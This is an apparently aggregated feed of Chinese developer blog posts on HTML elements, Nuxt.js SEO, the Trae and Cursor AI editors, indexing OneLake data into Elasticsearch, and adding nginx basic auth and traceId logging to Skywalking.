p:段落。

span:行内文本容器,无语义。

strong:加粗文本,表示重要性。

em:斜体文本,表示强调。

blockquote:长引用。

q:短引用。

pre:预格式化文本,保留空格和换行。

code:内联代码。

3、多媒体元素:用于嵌入多媒体内容。

img:嵌入图片。

audio:嵌入音频。

video:嵌入视频。

canvas:用于绘制图形。

svg:嵌入矢量图形。

4、表单元素:用于创建用户输入表单。

form:定义表单。

input:输入字段(如文本、密码、复选框等)。

textarea:多行文本输入。

button:按钮。

label:表单控件的标签。

select 和 option:下拉菜单。

fieldset 和 legend:分组表单元素。

5、表格元素:用于创建表格。

table:定义表格。

tr:定义表格行。

td:定义表格单元格。

th:定义表头单元格。

thead、tbody、tfoot:表格的分组部分。

二、按显示行为分类

根据元素在页面中的显示行为,HTML元素可以分为:块级元素、行内元素、行内块元素。

主要是记住元素分类,元素了解即可,并记住几个典型常用的。

1、块级元素

独占一行,默认宽度为父元素的 100%。可以设置宽度、高度、内外边距。常用于构建页面布局。

div:通用块级容器。

p:段落。

h1 到 h6:标题。

ul、ol、li:列表。

header、footer、section 等语义化标签。

2、行内元素

不独占一行,与其他行内元素共享一行。宽度和高度由内容决定,不能直接设置。常用于包裹文本或小部分内容。

span:通用行内容器。

a:超链接。

strong、em:强调文本。

img:图片。

input:输入框。

3、行内块元素

结合了块级和行内元素的特性。不独占一行,但可以设置宽度、高度和内外边距。

button:按钮。

select:下拉菜单。

textarea:多行文本输入。

三、Html5 新元素

HTML5 引入了许多新元素,有必要了解一下,并每类记忆几个常用的。

一般在小厂面试基础中常问,这里单独拎出来,提升基础广度。

1、语义化元素

用于更好地描述网页内容的结构和意义,提升代码的可读性和 SEO 优化。

图片

2、多媒体元素

图片

3、表单增强元素

图片

4、图形嵌入元素

图片

5、其它元素

图片

四、自闭合元素

自闭合元素不需要闭合标签,通常以 / 结尾(尽管在 HTML5 中 / 是可选的)。

一般在小厂面试基础中常问,这里单独拎出来,提升基础广度。

图片

- end -

承接产品推广/软件开发/bug修复,联系和更多内容在绿色App搜@程序员大澈:专注于前后端技术知识分享,最后感谢兄弟们给个点赞、分享、推荐!

by 程序员大澈 at January 24, 2025 02:09 AM

【前端SEO】使用Vue.js + Nuxt 框架构建服务端渲染 (SSR) 应用满足SEO需求

Nuxt.js 是一个基于 Vue.js 的通用应用框架,它简化了使用 Vue 构建服务端渲染 (SSR) 应用的流程。除了 SSR 之外,Nuxt.js 还支持静态站点生成(Static Site Generation, SSG),渐进式网络应用(Progressive Web Apps, PWA),单页面应用(Single Page Application, SPA)等多种模式。以下是 Nuxt.js 的一些深度介绍和代码案例,以及其在 SEO 方面的作用。

代码案例

创建一个新的 Nuxt.js 项目并添加一个简单的页面:

npx create-nuxt-app my-nuxt-project

选择默认选项后进入项目目录,并在 pages 文件夹下创建一个 index.vue 文件:

<template>
  <div>
    <h1>欢迎来到我的 Nuxt.js 网站</h1>
    <p>{{ message }}</p>
  </div>
</template>

<script>
export default {
  data() {
    return {
      message: '这是首页内容'
    }
  },
  head() {
    return {
      title: '首页',
      meta: [
        { hid: 'description', name: 'description', content: '这是首页的描述' }
      ]
    }
  }
}
</script>

这里定义了一个简单的页面,同时使用 head 方法来定制页面的 <title> 和 <meta> 标签,这对于 SEO 非常重要。

SEO 作用解析

Nuxt.js 对于 SEO 有以下几个方面的好处:

  • 服务器端渲染 (SSR):与传统的单页应用程序(SPA)相比,Nuxt.js 可以在服务器端预先渲染页面,这意味着搜索引擎爬虫可以直接看到完全渲染的内容,而不需要等待 JavaScript 执行,这有助于提高搜索引擎抓取效率和索引质量。
  • 动态 Meta 标签:如上面的代码示例所示,Nuxt.js 允许你为每个页面动态地设置标题和元标签,这对于确保每个页面都有独特的、描述性的标题和描述至关重要,从而提高点击率和搜索排名。
  • 快速首屏加载:由于页面是在服务器端预渲染的,用户访问网站时会更快地看到页面内容,提高了用户体验和潜在的SEO评分。
  • 链接结构:自动路由生成功能使得网站的 URL 结构更加清晰合理,有利于内部链接建设和SEO。
  • 静态站点生成:对于不需要频繁更新的内容,可以使用 Nuxt.js 生成静态站点,这样的静态页面非常适合SEO,因为它们几乎不需要任何服务器端处理即可提供给用户

对于版本,Nuxt 2 到 Nuxt 3 的升级中,这些变化涵盖了性能、框架架构、特性支持以及开发者体验等多方面。以下是两者的主要区别:

版本差异

  • 核心架构:

    • Nuxt 2:基于 Vue 2 和 Webpack,运行在传统的 Node.js 环境中。
    • Nuxt 3:基于 Vue 3 和 Vite(默认),并支持 Webpack 5,重写了底层架构以支持更现代的功能和增强性能。
  • Vue 3 支持:

    • Nuxt 2:仅支持 Vue 2,无法利用 Vue 3 的新特性。
    • Nuxt 3:完全基于 Vue 3,提供更好的开发体验和性能。
  • 性能:

    • Nuxt 3:Vite 提供更快的开发和构建速度,以及即时热重载功能。
    • Nuxt 2:依赖于 Webpack 4,大型项目中的构建和热重载性能较差。
  • Server API 功能:

    • Nuxt 2:需要额外服务器框架处理 API 请求。
    • Nuxt 3:内置 Server API 支持,方便全栈应用开发。
  • 渲染模式:

    • Nuxt 2:支持 SSR、静态生成和 SPA 模式,但配置较为复杂。
    • Nuxt 3:简化了不同渲染模式的使用,并支持 Edge 渲染。
  • 模块系统:

    • Nuxt 3:引入新的模块和插件系统,原生支持 TypeScript。
    • Nuxt 2:模块系统不支持 TypeScript。
  • TypeScript 支持:

    • Nuxt 3:完整支持 TypeScript,自动类型推导和检查。
    • Nuxt 2:部分支持,需手动配置。
  • 文件系统路由:

    • Nuxt 3:增强了自动化程度,支持动态路径参数和类型推导。
    • Nuxt 2:基础功能较少。
  • 中间件和生命周期钩子:

    • Nuxt 3:更加灵活,适合大型项目的复杂逻辑需求。
    • Nuxt 2:相对基础。
  • 兼容性:

    • Nuxt 3:提供了向后兼容的迁移工具。
    • Nuxt 2:已停止更新主要功能,仅提供长期支持。

网络请求封装

在 Nuxt 3 中,网络请求通常通过 useFetch 或 $fetch 来实现。这两个函数都是由 Nuxt.js 内置提供的,用于发起 HTTP 请求,并且它们都与 Nuxt 的数据获取机制集成得很好。

  • useFetch:这是一个组合式函数,它包装了 useAsyncData 和 $fetch,返回响应式的可组合函数。你可以用它来轻松地获取和管理异步数据。
  • $fetch:是一个全局方法,可以在组件的任意位置被调用,无需引入额外的 API。它封装了底层的网络请求逻辑,使开发者可以专注于业务逻辑。

对于网络请求的封装,开发者可以根据自己的需求对 useFetch 或 $fetch 进行进一步封装,例如添加统一的基础 URL、设置默认的请求头、处理错误、添加拦截器等。下面是一个简单的 useFetch 封装示例:

// composables/useHttp.ts
import { useFetch, UseFetchOptions } from '#app';

interface HttpParms<T> {
  url: string;
  method?: 'GET' | 'POST' | 'PUT' | 'DELETE';
  query?: Record<string, any>;
  body?: Record<string, any>;
}

export const useHttp = <T>(parms: HttpParms<T>, options?: UseFetchOptions<T>) => {
  return useFetch<T>(parms.url, {
    baseURL: process.env.API_URL,
    method: parms.method || 'GET',
    query: parms.query,
    body: parms.body,
    ...options
  });
};

然后可以在页面或组件中使用这个封装过的函数:

<script setup lang="ts">
import { useHttp } from '~/composables/useHttp';

const fetchData = async () => {
  const { data, pending, error } = await useHttp<{ id: number; name: string }>({
    url: '/api/data'
  });

  console.log(data.value); // 打印获取的数据
};
</script>

by 爱上大树的小猪 at January 24, 2025 02:04 AM

juejin freebie

字节 AI 编辑器 Trae,对标 Cursor,真的太香了

本文首发于公众号 极客枫哥 ,日更分享各种好玩的软件、编程知识和个人成长故事

近日字节发布了一款类似于 CursorAI代码编辑器,Trae,本文就和大家一起来体验一下,使用效果怎么样。

首先进入 www.trae.ai/ 点击右侧的【Download】直接下载安装包。

安装 trae

第一步,直接点击 【开始】

第二步,可以选择你喜欢的主题,我个人偏向于【浅色】系

第三步,这一点非常友好,可以直接导入 Vs Code配置或者是 Cursor的配置,这里我选择导入 Vs Code配置。

第四步,可以将 trae加到命令行中,这样便于快速在当前目录中打开 trae程序。

最后一步,需要登录 githubor google账号,然后就可以使用了。

开发一个贪吃蛇小游戏

下面我们来使用 trae开发一个简单的【贪吃蛇】小游戏,来感受一下 trae的 AI 能力。我输入了如下的提示词:

使用 python 开发一个贪吃蛇小游戏,技术框:pygame, python 版本:3.12.3

输入完成后,按下回车,可以看到 Trae AI自动生成了很多文件和代码。

等到生成完成后,我们直接先无脑的全部应用,如果是命令的话,就直接运行,是代码的话,就直接应用。

Trae AI会自动帮我们创建对应的文件。

全部操作后,你可以看到当前目录下多了很多 python 文件,入口是 main.py

然后我们按照提示安装对应的 pygame依赖,最后执行 python main.py来启动游戏。

不出意外的话,就能看到如下的游戏界面了,效果还是不错的~我试玩了一下,发现一个问题,就是小蛇在撞墙后居然不会死亡,而是直接穿越了墙体,可以从另一侧出来

这显然降低了游戏难度,我们继续给 Trae AI提需求,让它帮我们增加一个配置项,可以配置撞墙后的行为。

我给的提示词如下:

增加一个配置项,开启表示撞墙后死亡,结束游戏,关闭表示撞墙后可以穿越墙体

Trae AIconfig.pysnake.py进行了修改,我们还是直接应用,然后重新启动游戏,试玩了一下,在蛇撞墙后,游戏会进行重置,分数会清零。

最后,我们让 Trae AI来帮这个游戏打包成 exe,这样就能分享给其他小伙伴了。直接输入提示词:

帮我将这个游戏打包成 exe,无需依赖 python 环境,可以点击直接运行

因为我是用 mac 电脑,这一步打包没有成功,有兴趣的小伙伴可以自行尝试一下~

总的来说,我对Trae AI的整体感受还是很不错的,这次主要使用了 Chat模式,可以直接根据提示词,生成对应的代码。

它还有 Builder模式,可以直接从 0 到 1 开发一个完整的项目。

重点是现在可以免费使用,后续大概率也会收费,所以赶紧用起来~

by 极客枫哥 at January 24, 2025 02:02 AM

juejin backend

将 OneLake 数据索引到 Elasticsearch - 第 1 部分

作者:来自 Elastic Gustavo Llermaly

学习配置 OneLake,使用 Python 消费数据并在 Elasticsearch 中索引文档,然后运行语义搜索。

OneLake 是一款工具,可让你连接到不同的 Microsoft 数据源,例如 Power BI、Data Activator 和 Data factory 等。它支持将数据集中在 DataLakes 中,DataLakes 是支持全面数据存储、分析和处理的大容量存储库。

在本文中,我们将学习如何配置 OneLake、使用 Python 消费数据以及在 Elasticsearch 中索引文档,然后运行语义搜索。

有时,你可能希望在非结构化数据和来自不同来源和软件提供商的结构化数据中运行搜索,并使用 Kibana 创建可视化。对于这种任务,在 Elasticsearch 中索引文档作为中央存储库会变得非常有用。

在这个例子中,我们将使用一家名为 Shoestic 的虚拟公司,这是一家在线鞋店。我们在结构化文件 (CSV) 中列出了产品列表,而一些产品的数据表则采用非结构化格式 (DOCX)。这些文件存储在 OneLake 中。

你可以在此处找到包含完整示例(包括测试文档)的笔记本。

步骤

  • OneLake 初始配置
  • 使用 Python 连接到 OneLake
  • 索引文档
  • 查询

OneLake 初始配置

OneLake 架构可以总结如下:

要使用 OneLake 和 Microsoft Fabric,我们需要一个 Office 365 帐户。如果你没有,可以在此处创建一个试用帐户。

使用你的帐户登录 Microsoft Fabric。然后,创建一个名为 “ShoesticWorkspace” 的工作区。进入新创建的工作区后,创建一个 Lakehouse 并将其命名为“ShoesticDatalake”。最后一步是在 “Files” 中创建一个新文件夹。单击 “new subfolder” 并将其命名为 “ProductsData”。

完成了!我们准备开始提取数据了。

使用 Python 连接到 OneLake

配置完 OneLake 后,我们现在可以准备 Python 脚本。Azure 有处理凭据并与 OneLake 通信的库。

pip install azure-identity elasticsearch==8.14 azure-storage-file-datalake azure-cli python-docx

“azure-identity azure-storage-file-datalake” 库让我们可以与 OneLake 交互,同时 “azure-cli” 可以访问凭据并授予权限。为了读取文件内容以便稍后将其索引到 Elasticsearch,我们使用 python-docx。

在我们的本地环境中保存 Microsoft 凭据

我们将使用 “az login” 进入我们的 Microsoft 帐户并运行:

 az login --allow-no-subscriptions

标志 “ --allow-no-subscriptions”允许我们在没有有效订阅的情况下向 Microsoft Azure 进行身份验证。

此命令将打开一个浏览器窗口,你必须在其中访问你的帐户,然后选择你帐户的订阅号。

现在我们可以开始编写代码了!

创建一个名为 onelake.py 的文件并添加以下内容:

onelake.py

1.  # Importing dependencies 
2.  import chardet 
3.  from azure.identity import DefaultAzureCredential 
4.  from docx import Document 
5.  from azure.storage.filedatalake import DataLakeServiceClient 

7.  # Initializing the OneLake client 
8.  ONELAKE_ACCOUNT_NAME = "onelake" 
9.  ONELAKE_WORKSPACE_NAME = "ShoesticWorkspace" 
10.  # Path in format <DataLake>.Lakehouse/files/<Folder path> 
11.  ONELAKE_DATA_PATH = "shoesticDatalake.Lakehouse/Files/ProductsData" 

13.  # Microsoft token 
14.  token_credential = DefaultAzureCredential() 

16.  # OneLake services 
17.  service_client = DataLakeServiceClient( 
18.  account_url=f"https://{ONELAKE_ACCOUNT_NAME}.dfs.fabric.microsoft.com", 
19.  credential=token_credential, 
20.  ) 
21.  file_system_client = service_client.get_file_system_client(ONELAKE_WORKSPACE_NAME) 
22.  directory_client = file_system_client.get_directory_client(ONELAKE_DATA_PATH) 

24.  # OneLake functions   

26.  # Upload a file to a LakeHouse directory 
27.  def upload_file_to_directory(directory_client, local_path, file_name): 
28.  file_client = directory_client.get_file_client(file_name) 

30.  with open(local_path, mode="rb") as data: 
31.      file_client.upload_data(data, overwrite=True) 

33.  print(f"File: {file_name} uploaded to the data lake.") 

36.  # Get directory contents from your lake folder 
37.  def list_directory_contents(file_system_client, directory_name): 
38.  paths = file_system_client.get_paths(path=directory_name) 

40.  for path in paths: 
41.      print(path.name + "\n") 

44.  # Get a file by name from your lake folder 
45.  def get_file_by_name(file_name, directory_client): 
46.  return directory_client.get_file_client(file_name) 

49.  # Decode docx 
50.  def get_docx_content(file_client): 
51.  download = file_client.download_file() 
52.  file_content = download.readall() 
53.  temp_file_path = "temp.docx" 

55.  with open(temp_file_path, "wb") as temp_file: 
56.      temp_file.write(file_content) 

58.  doc = Document(temp_file_path) 
59.  text = [] 

61.  for paragraph in doc.paragraphs: 
62.      text.append(paragraph.text) 

64.  return "\n".join(text) 

67.  # Decode csv 
68.  def get_csv_content(file_client): 
69.  download = file_client.download_file() 
70.  file_content = download.readall() 

72.  result = chardet.detect(file_content) 
73.  encoding = result["encoding"] 

75.  return file_content.decode(encoding) 

将文件上传到 OneLake

在此示例中,我们将使用一个 CSV 文件和一些包含有关我们鞋店产品信息的 .docx 文件。虽然你可以使用 UI 上传它们,但我们将使用 Python 来完成。在此处下载文件。

我们将文件放在文件夹 /data 中,位于名为 upload_files.py 的新 Python 脚本旁边:

1.  # upload_files.py 

3.  # Importing dependencies 
4.  from azure.identity import DefaultAzureCredential 
5.  from azure.storage.filedatalake import DataLakeServiceClient 

7.  from functions import list_directory_contents, upload_file_to_directory 
8.  from onelake import ONELAKE_DATA_PATH, directory_client, file_system_client 

10.  csv_file_name = "products.csv" 
11.  csv_local_path = f"./data/{csv_file_name}" 

13.  docx_files = ["beach-flip-flops.docx", "classic-loafers.docx", "sport-sneakers.docx"] 
14.  docx_local_paths = [f"./data/{file_name}" for file_name in docx_files] 

16.  # Upload files to Lakehouse 
17.  upload_file_to_directory(directory_client, csv_local_path, csv_file_name) 

19.  for docx_local_path in docx_local_paths: 
20.  docx_file_name = docx_local_path.split("/")[-1] 
21.   upload_file_to_directory(directory_client, docx_local_path, docx_file_name) 

23.  # To check that the files have been uploaded, run "list_directory_contents" function to show the contents of the /ProductsData folder in our Datalake: 
24.  print("Upload finished, Listing files: ") 
25.  list_directory_contents(file_system_client, ONELAKE_DATA_PATH) 

运行上传脚本:

python upload_files.py

结果应该是:

1.  Upload finished, Listing files: 
2.  shoesticDatalake.Lakehouse/Files/ProductsData/beach-flip-flops.docx 
3.  shoesticDatalake.Lakehouse/Files/ProductsData/classic-loafers.docx 
4.  shoesticDatalake.Lakehouse/Files/ProductsData/products.csv 
5.  shoesticDatalake.Lakehouse/Files/ProductsData/sport-sneakers.docx 

现在我们已经准备好文件了,让我们开始使用 Elasticsearch 分析和搜索我们的数据!

索引文档

我们将使用 ELSER 作为向量数据库的嵌入提供程序,以便我们可以运行语义查询。

我们选择 ELSER 是因为它针对 Elasticsearch 进行了优化,在域外检索方面胜过大多数竞争对手,这意味着按原样使用模型,而无需针对你自己的数据进行微调。

配置 ELSER

首先创建推理端点:

1.  PUT _inference/sparse_embedding/onelake-inference-endpoint 
2.  { 
3.   "service": "elser", 
4.   "service_settings": { 
5.     "num_allocations": 1, 
6.     "num_threads": 1 
7.   } 

在后台加载模型时,如果你以前没有使用过 ELSER,则可能会收到 502 Bad Gateway 错误。在 Kibana 中,你可以在 “Machine Learning” > “Trained Models” 中检查模型状态。等到模型部署完成后再继续执行后续步骤。

索引数据

现在,由于我们同时拥有结构化数据和非结构化数据,因此我们将在 Kibana DevTools 控制台中使用具有不同映射的两个不同索引。

对于我们的结构化销售,让我们创建以下索引:

1.  PUT shoestic-products 
2.  { 
3.    "mappings": { 
4.  "properties": { 
5.    "product_id": { 
6.      "type": "keyword" 
7.        }, 
8.    "product_name": { 
9.      "type": "text" 
10.        }, 
11.    "amount": { 
12.      "type": "float" 
13.        }, 
14.    "tags": { 
15.      "type": "keyword" 
16.    } 
17.  } 
18.    } 
19.  } 

为了索引我们的非结构化数据(产品数据表),我们将使用:

1.  PUT shoestic-products-descriptions 
2.  { 
3.    "mappings": { 
4.  "properties": { 
5.    "title": { 
6.      "type": "text", 
7.      "analyzer": "english" 
8.    }, 
9.    "super_body": { 
10.      "type": "semantic_text", 
11.      "inference_id": "onelake-inference-endpoint" 
12.    }, 
13.    "body": { 
14.      "type": "text", 
15.      "copy_to": "super_body" 
16.    } 
17.  } 
18.    } 
19.  } 

注意:使用带有 copy_to 的字段很重要,这样还可以运行全文搜索,而不仅仅是在正文字段上运行语义搜索。

读取 OneLake 文件

在开始之前,我们需要使用这些命令(使用你自己的云 ID 和 API 密钥)初始化我们的 Elasticsearch 客户端。

创建一个名为 indexing.py 的 Python 脚本并添加以下几行:

1.  # Importing dependencies 
2.  import csv 
3.  from io import StringIO 

5.  from onelake import directory_client 
6.  from elasticsearch import Elasticsearch, helpers 

8.  from functions import get_csv_content, get_docx_content, get_file_by_name 
9.  from upload_files_to_onelake import csv_file_client 

11.  ELASTIC_CLUSTER_ID = "your-cloud-id" 
12.  ELASTIC_API_KEY = "your-api-key" 

14.  # Elasticsearch client 
15.  es_client = Elasticsearch( 
16.  cloud_id=ELASTIC_CLUSTER_ID, 
17.  api_key=ELASTIC_API_KEY, 
18.  ) 

20.  docx_files = ["beach-flip-flops.docx", "classic-loafers.docx", "sport-sneakers.docx"] 
21.  docx_local_paths = [f"./data/{file_name}" for file_name in docx_files] 

23.  csv_file_client = get_file_by_name("products.csv", directory_client) 
24.  docx_files_clients = [] 

27.  for docx_file_name in docx_files: 
28.  docx_files_clients.append(get_file_by_name(docx_file_name, directory_client)) 

31.  # We use these functions to extract data from the files: 
32.  csv_content = get_csv_content(csv_file_client) 
33.  reader = csv.DictReader(StringIO(csv_content)) 
34.  docx_contents = [] 

37.  for docx_file_client in docx_files_clients: 
38.  docx_contents.append(get_docx_content(docx_file_client)) 

41.  print("CSV FILE CONTENT: ", csv_content) 
42.  print("DOCX FILE CONTENT: ", docx_contents) 

45.  # The CSV tags are separated by commas (,). We'll turn these tags into an array: 
46.  rows = csv_content.splitlines() 
47.  reader = csv.DictReader(rows) 
48.  modified_rows = [] 

50.  for row in reader: 
51.  row["tags"] = row["tags"].replace('"', "").split(",") 
52.  modified_rows.append(row) 
53.  print(row["tags"]) 

55.  # We can now index the files into Elasticsearch 
56.  reader = modified_rows 
57.  csv_actions = [{"_index": "shoestic-products", "_source": row} for row in reader] 

59.  docx_actions = [ 
60.  { 
61.      "_index": "shoestic-products-descriptions", 
62.      "_source": {"title": docx_file_name, "body": docx}, 
63.  } 
64.  for docx_file_name, docx in zip(docx_files, docx_contents) 
65.  ] 

68.  helpers.bulk(es_client, csv_actions) 
69.  print("CSV data indexed successfully.") 
70.  helpers.bulk(es_client, docx_actions) 
71.  print("DOCX data indexed successfully.") 

现在运行脚本:

python indexing.py

查询

在 Elasticsearch 中对文档进行索引后,我们就可以测试语义查询了。在本例中,我们将在某些产品(tag)中搜索唯一术语。我们将针对结构化数据运行关键字搜索,针对非结构化数据运行语义搜索。

1. 关键字搜索

1.  GET shoestic-products/_search 
2.  { 
3.    "query": { 
4.     "term": { 
5.    "tags": "summer" 
6.  } 
7.    } 
8.  } 

结果:

1.  "_source": { 
2.        "product_id": "P-118", 
3.        "product_name": "Casual Sandals", 
4.        "amount": "128.22", 
5.        "tags": [ 
6.          "casual", 
7.          "summer" 
8.        ] 
9.      } 

2. 语义搜索:

1.  GET shoestic-products-descriptions/_search 
2.  { 
3.    "_source": { 
4.  "excludes": [ 
5.    "*embeddings", 
6.    "*chunks" 
7.  ] 
8.    }, 
9.    "query": { 
10.  "semantic": { 
11.    "field": "super_body", 
12.   "query": "summer" 
13.  } 
14.    } 
15.  } 

*我们排除了嵌入和块只是为了便于阅读。

结果:

1.  "hits": { 
2.  "total": { 
3.    "value": 3, 
4.    "relation": "eq" 
5.  }, 
6.  "max_score": 4.3853106, 
7.  "hits": [ 
8.    { 
9.      "_index": "shoestic-products-descriptions", 
10.      "_id": "P2Hj6JIBF7lnCNFTDQEA", 
11.      "_score": 4.3853106, 
12.      "_source": { 
13.        "super_body": { 
14.          "inference": { 
15.            "inference_id": "onelake-inference-endpoint", 
16.            "model_settings": { 
17.              "task_type": "sparse_embedding" 
18.            } 
19.          } 
20.        }, 
21.        "title": "beach-flip-flops.docx", 
22.        "body": "Ideal for warm, sunny days by the water, these lightweight essentials are water-resistant and come in bright colors, bringing a laid-back vibe to any outing in the sun." 
23.      } 
24.    } 
25.  ] 
26.    } 

如你所见,当使用关键字搜索时,我们会得到与其中一个标签的完全匹配,相反,当我们使用语义搜索时,我们会得到与描述中的含义匹配的结果,而无需完全匹配。

结论

OneLake 使使用来自不同 Microsoft 来源的数据变得更容易,然后索引这些文档 Elasticsearch 允许我们使用高级搜索工具。在第一部分中,我们学习了如何连接到 OneLake 并在 Elasticsearch 中索引文档。在第二部分中,我们将使用 Elastic 连接器框架制作更强大的解决方案。敬请期待!

想要获得 Elastic 认证?了解下一次 Elasticsearch 工程师培训的时间!

Elasticsearch 包含许多新功能,可帮助你为你的用例构建最佳搜索解决方案。深入了解我们的示例笔记本以了解更多信息,开始免费云试用,或立即在你的本地机器上试用 Elastic。

原文:Indexing OneLake data into Elasticsearch - Part 1 - Elasticsearch Labs

by Elasticsearch at January 24, 2025 02:00 AM

juejin frontend

《Cursor-AI编程》基础篇-界面指南

如果你之前是vscode的用户,可以在设置中点击右上角的设置中找到Vs Code Import右侧的import按钮,它会同步当前设备中的vscode设置和插件列表到Cursor的配置目录中

20241219142220

它只能同步当前的vscode配置,如果后续vscode配置更新了,它不会自动更新

设置Cursor语言

1. 设置为简体中文

默认情况下,Cursor编辑器的默认显示语言是英文的,这对于不太熟悉英语的用户来说,可能不太友好

我们可以通过插件来设置Cursor的默认语言,这里我们以中文为例,具体操作如下:

  1. Cursor的左侧,找到插件列表
  2. 搜索chinese关键词,找到“中文(简体)”的插件,这是一个语言包
  3. 点击安装 20250115141341
  4. 安装后,编辑器的左下角有弹出一个提示,这个时候点击“change language and restart”(翻译过来是“重启编辑器应用语言”)

20250115141536转存失败,建议直接上传图片文件

现在,我们的编辑器已经切换为中文界面了

2. 了解更多插件

除了语言包,Cursor还有很多很好用插件,这个在后面会介绍

3. 设置我们来熟悉一下Cursor的操作界面

20250115142047

这是我们打开Cursor后的第一个窗口

左侧是我们的代码编辑区域,你可以理解为是一个增强版的记事本,它会有代码AI自动补全提示(Tab),语法提示等更多功能

右侧是CursorAI交互面板,你可以通过它来和AI对话,和平时我们在使用AI的时候一样,它可以理解当前项目中的任何文件,你可以向它提问问题,比如“修复下这个报错”

你可以看到在右侧的上方,有一个“composer”的标题,这是目前Cursor最核心的功能,它可以直接帮你创建,删除文件并自动写入代码,并且还提供了类似code diff的功能,我们可以根据代码片段来决定是否使用Cursor提供的代码

4. Cursor快捷键

Cursor提供了丰富的键盘快捷键功能,帮助开发者更高效地编写代码和操作编辑器。

这些快捷键不仅继承了VSCode的默认快捷键,还结合了AI功能,进一步提升了开发效率。下面我们来介绍一些常用的快捷键

::: warning 提示 这里需要注意下,如果安装了第三方快捷键插件包可能会使Cursor快捷键无法正常工作! :::

一般比较常用的快捷键有
快捷键操作
Cmd/Ctrl + I打开 Composer
Cmd/Ctrl + L打开 Chat
Cmd/Ctrl + .`Composer 中切换代理
Cmd/Ctrl + /`切换模型
Cmd/Ctrl + Alt + L打开 Chat & Composer 历史记录
Cmd/Ctrl + Shift + J打开 Cursor 设置
Cmd/Ctrl + Shift + P打开命令面板

AI聊天界面
快捷键操作
Cmd/Ctrl + Enter使用代码库提交
Enter提交
方向键↑选择上一条消息

Composer
快捷键操作
Cmd/Ctrl + Backspace取消生成
Cmd/Ctrl + Enter接受所有更改
Cmd/Ctrl + Backspace拒绝所有更改
Tab循环到下一条消息
Shift + Tab循环到上一条消息
Cmd/Ctrl + Alt + /`打开模型切换
Cmd/Ctrl + N创建新的 Composer
Cmd/Ctrl + R创建新的 Composer
Cmd/Ctrl + Shift + KComposer 作为栏打开
Cmd/Ctrl + [`切换到上一个 Composer
Cmd/Ctrl + ]`切换到下一个 Composer
Cmd/Ctrl + W关闭 Composer
方向键↑选择上一条消息

Cmd/Ctrl + K
快捷键操作
Cmd/Ctrl + K打开
Cmd/Ctrl + Shift + K切换输入焦点,显示在屏幕中间下方
Enter提交问题
Option/alt + Enter快速提问

代码选择与上下文
快捷键操作
@使用@符号选择行动目标
#使用#符号选择文件
Cmd/Ctrl + Shift + L将选择添加到 Chat
Cmd/Ctrl + Shift + K将选择添加到 Edit
Cmd/Ctrl + L将选择添加到新聊天
Cmd/Ctrl + M切换文件读取策略
Cmd/Ctrl + 接受建议的下一个单词
Cmd/Ctrl + Enter在聊天中搜索代码库

Tab补全
快捷键操作
Tab接受建议
Cmd/Ctrl + 接受下一个单词

终端
快捷键操作
Cmd/Ctrl + K打开终端提示栏
Cmd/Ctrl + Enter运行生成的命令
Esc退出

总结

通过本章的学习,你应该已经掌握了Cursor的基本使用方法,并能够通过快捷键和AI功能提升开发效率。

接下来,我将介绍一些Cursor的更多功能和设置,来更高效地使用Cursor编码

by _island at January 24, 2025 01:50 AM

juejin backend

Skywalking增加登录认证和日志收集

Skywalking增加登录认证和日志收集

背景:继上文Skywalking链路追踪工具基础完善一下两个小功能——登录认证和日志收集。

1.nginx方式auth_basic认证

下载httpd-tools工具生成htpasswd加密文件

yum install -y httpd-tools
htpasswd -cb nginx/htpasswd skywalking qlgya@666.

image.png

配置nginx

  server {
      listen port;
      #auth_basic "Please enter the user name and password"; #这里是验证时的提示信息
      #auth_basic_user_file /data/skywalking/nginx/htpasswd;
      index  index.html;
      location / {
          root   html;
index  index.html index.htm;
          #auth_basic on;
  auth_basic "Please enter the user name and password"; #这里是验证时的提示信息
          auth_basic_user_file /data/nginx/htpasswd;
          proxy_pass http://192.168.XXX.XXX:9009;
          # WebSocket 穿透
          #proxy_set_header Origin "";
          #proxy_set_header Upgrade $http_upgrade;
          #proxy_set_header Connection "upgrade";
      }
  }

效果

image.png

还有一种是使用Spring Gateway增加认证暂时先不用

2.日志收集

增加依赖

<dependency>
    <groupId>org.apache.skywalking</groupId>
    <artifactId>apm-toolkit-logback-1.x</artifactId>
    <version>8.9.0</version>
</dependency>

修改日志配置 在我们添加的依赖apm-toolkit-logback-1.x中,包含了大量适配于logback与skywalking的AppenderEncoder以及Layout实现类。下面我们需要对日志配置文件进行修改。

在微服务系统的一次请求调用链中,可能出现多个服务之间相互调用的场景(如商品服务调用订单服务,订单服务调用支付服务)。而这些服务显然处于不同的进程甚至不同的服务器,如何确定一个请求的调用链路中调用了哪些服务呢?

1. 添加链路表示traceId

skywalking使用traceId对调用链路进行标识,traceId的格式为随机字符,如果没有请求链路,则输出日志中的traceIdN/A。如果以羊肉串类比,多个羊肉被同一个棍子串起来,羊肉就类比为链路上的多个服务,棍子就类比为traceId

修改logback.xml日志配置文件

  • 在日志的输出格式定义中添加%tid,并修改对应的Layout实现类为TraceIdPatternLogbackLayout

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
    
        <!-- 日志输出格式 -->
        <property name="log.pattern"
                  value="%black(%contextName-) %red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %boldMagenta([%tid]) %highlight(%-5level) %boldMagenta(%logger{36}) - %gray(%msg%n)"/>
    
        <!-- 控制台输出 -->
        <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
            <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">
                <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">
                    <Pattern>${log.pattern}</Pattern>
                </layout>
            </encoder>
        </appender>
    
        <root level="info">
            <appender-ref ref="console"/>
        </root>
    </configuration>
    
  • 没有请求链路的系统日志

    traceId为空的日志.png

  • 当我们向接口发送请求时

    请求如下:

    商品id为1的请求.png

日志如下,从输出的日志可以看到,该请求的调用链为8012端口的商品服务调用8021端口的订单服务8021端口的订单服务调用8032端口的支付服务,在该调用链上各个服务的traceId相同。

traceId不为空的日志.png

进入skywalking服务端的页面,我们查看该调用链路,该链路的traceId与日志中打印的traceId一致。

traceId不为空的调用链路页面.png

2. 添加链路上下文

由于traceId仅表示为随机字符,可读性较差。幸运的是,skywalking也认识到这一点,于是又引入了一个新的概念:链路上下文SW_CTX,所谓链路上下文,其实与traceId的作用相同,但他的好处是可读性强,其格式为SW_CTX:[服务名, 实例名, traceId, traceSegmentId, spanId]

同样的,如果没有请求链路,则输出日志中的链路上下文SW_CTX:[服务名, 实例名, N/A, N/A, -1]

修改logback.xml日志配置文件

